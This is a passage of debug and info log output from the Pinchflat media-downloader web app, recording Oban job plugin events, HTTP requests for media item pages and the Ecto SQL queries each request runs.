18:14:00.125 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:14:00.361 [info] {"source":"oban","duration":7854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:01.185 [info] GET /sources/25/media/1563535 18:14:01.185 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563535", "source_id" => "25"} Pipelines: [:browser] 18:14:01.186 [debug] QUERY OK source="media_items" db=0.1ms idle=1307.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563535] 18:14:01.186 [debug] QUERY OK source="sources" db=0.1ms idle=825.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:01.186 [debug] QUERY OK source="tasks" db=0.2ms idle=1060.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563535] 18:14:01.186 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=339.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3719864] 18:14:01.187 [debug] QUERY OK source="settings" db=0.0ms idle=308.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.187 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.187 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.187 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:01.188 [info] Sent 200 in 2ms 18:14:01.227 [info] GET /sources/37/media/1564182/edit 18:14:01.227 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564182", "source_id" => "37"} Pipelines: [:browser] 18:14:01.227 [debug] QUERY OK source="media_items" db=0.1ms idle=40.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564182] 18:14:01.228 [debug] QUERY OK source="settings" db=0.1ms idle=40.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.228 [debug] QUERY OK source="settings" db=0.0ms idle=41.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.228 [debug] QUERY OK source="settings" db=0.1ms idle=41.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.228 [info] Sent 200 in 1ms 18:14:01.271 [info] GET /sources/1/media/1563748 18:14:01.271 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563748", "source_id" => "1"} Pipelines: [:browser] 18:14:01.271 [debug] QUERY OK source="media_items" db=0.2ms idle=83.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563748] 18:14:01.272 [debug] QUERY OK source="tasks" db=0.1ms idle=44.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563748] 18:14:01.272 [debug] QUERY OK source="sources" db=0.1ms idle=43.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:01.272 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=44.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3761058] 18:14:01.272 [debug] QUERY OK source="settings" db=0.0ms idle=44.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.272 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.273 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.273 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:01.274 [info] Sent 200 in 3ms 18:14:01.334 [info] GET /sources/25/media/1563540 18:14:01.335 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563540", "source_id" => "25"} Pipelines: [:browser] 18:14:01.335 [debug] QUERY OK source="media_items" db=0.1ms idle=62.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563540] 18:14:01.335 [debug] QUERY OK source="tasks" db=0.1ms idle=62.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563540] 18:14:01.335 [debug] QUERY OK source="sources" db=0.2ms idle=62.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:01.335 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=62.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3721234] 18:14:01.336 [debug] QUERY OK source="settings" db=0.0ms idle=62.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.336 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.336 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.336 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:01.337 [info] Sent 200 in 2ms 18:14:01.447 [info] GET /sources/1/media/1562992 18:14:01.447 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562992", "source_id" => "1"} Pipelines: [:browser] 18:14:01.447 [debug] QUERY OK source="media_items" db=0.1ms idle=111.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562992] 18:14:01.448 [debug] QUERY OK source="tasks" db=0.0ms idle=111.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562992] 18:14:01.448 [debug] QUERY OK source="sources" db=0.1ms idle=111.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:01.448 [debug] QUERY OK source="settings" db=0.1ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.448 [debug] QUERY OK source="settings" db=0.0ms idle=111.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.448 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.449 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:01.449 [info] Sent 200 in 2ms 18:14:01.560 [info] GET /sources/1/media/1563018/edit 18:14:01.560 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563018", "source_id" => "1"} Pipelines: [:browser] 18:14:01.560 [debug] QUERY OK source="media_items" db=0.1ms idle=112.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563018] 18:14:01.560 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.561 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.561 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.561 [info] Sent 200 in 1ms 18:14:01.673 [info] GET /sources/25/media/1562584/edit 18:14:01.673 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562584", "source_id" => "25"} Pipelines: [:browser] 18:14:01.673 [debug] QUERY OK source="media_items" db=0.1ms idle=224.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562584] 18:14:01.674 [debug] QUERY OK source="settings" db=0.0ms idle=113.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.674 [debug] QUERY OK source="settings" db=0.0ms idle=113.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.674 [debug] QUERY OK source="settings" db=0.0ms idle=113.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.674 [info] Sent 200 in 1ms 18:14:01.774 [info] GET /sources/1/media/1563705 18:14:01.774 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563705", "source_id" => "1"} Pipelines: [:browser] 18:14:01.774 [debug] QUERY OK source="media_items" db=0.0ms idle=213.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563705] 18:14:01.774 [debug] QUERY OK source="tasks" db=0.0ms idle=100.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563705] 18:14:01.774 [debug] QUERY OK source="sources" db=0.1ms idle=100.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:01.774 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=100.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3746000] 18:14:01.775 [debug] QUERY OK source="settings" db=0.0ms idle=100.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.775 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.775 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.775 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:01.776 [info] Sent 200 in 2ms 18:14:01.875 [info] GET /sources/25/media/1562592/edit 18:14:01.875 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562592", "source_id" => "25"} Pipelines: [:browser] 18:14:01.875 [debug] QUERY OK source="media_items" db=0.1ms idle=100.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562592] 18:14:01.876 [debug] QUERY OK source="settings" db=0.0ms idle=100.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.876 [debug] QUERY OK source="settings" db=0.0ms idle=100.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.876 [debug] QUERY OK source="settings" db=0.0ms idle=100.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.876 [info] Sent 200 in 1ms 18:14:01.977 [info] GET /sources/25/media/1563677/edit 18:14:01.977 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563677", "source_id" => "25"} Pipelines: [:browser] 18:14:01.977 [debug] QUERY OK source="media_items" db=0.1ms idle=129.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", 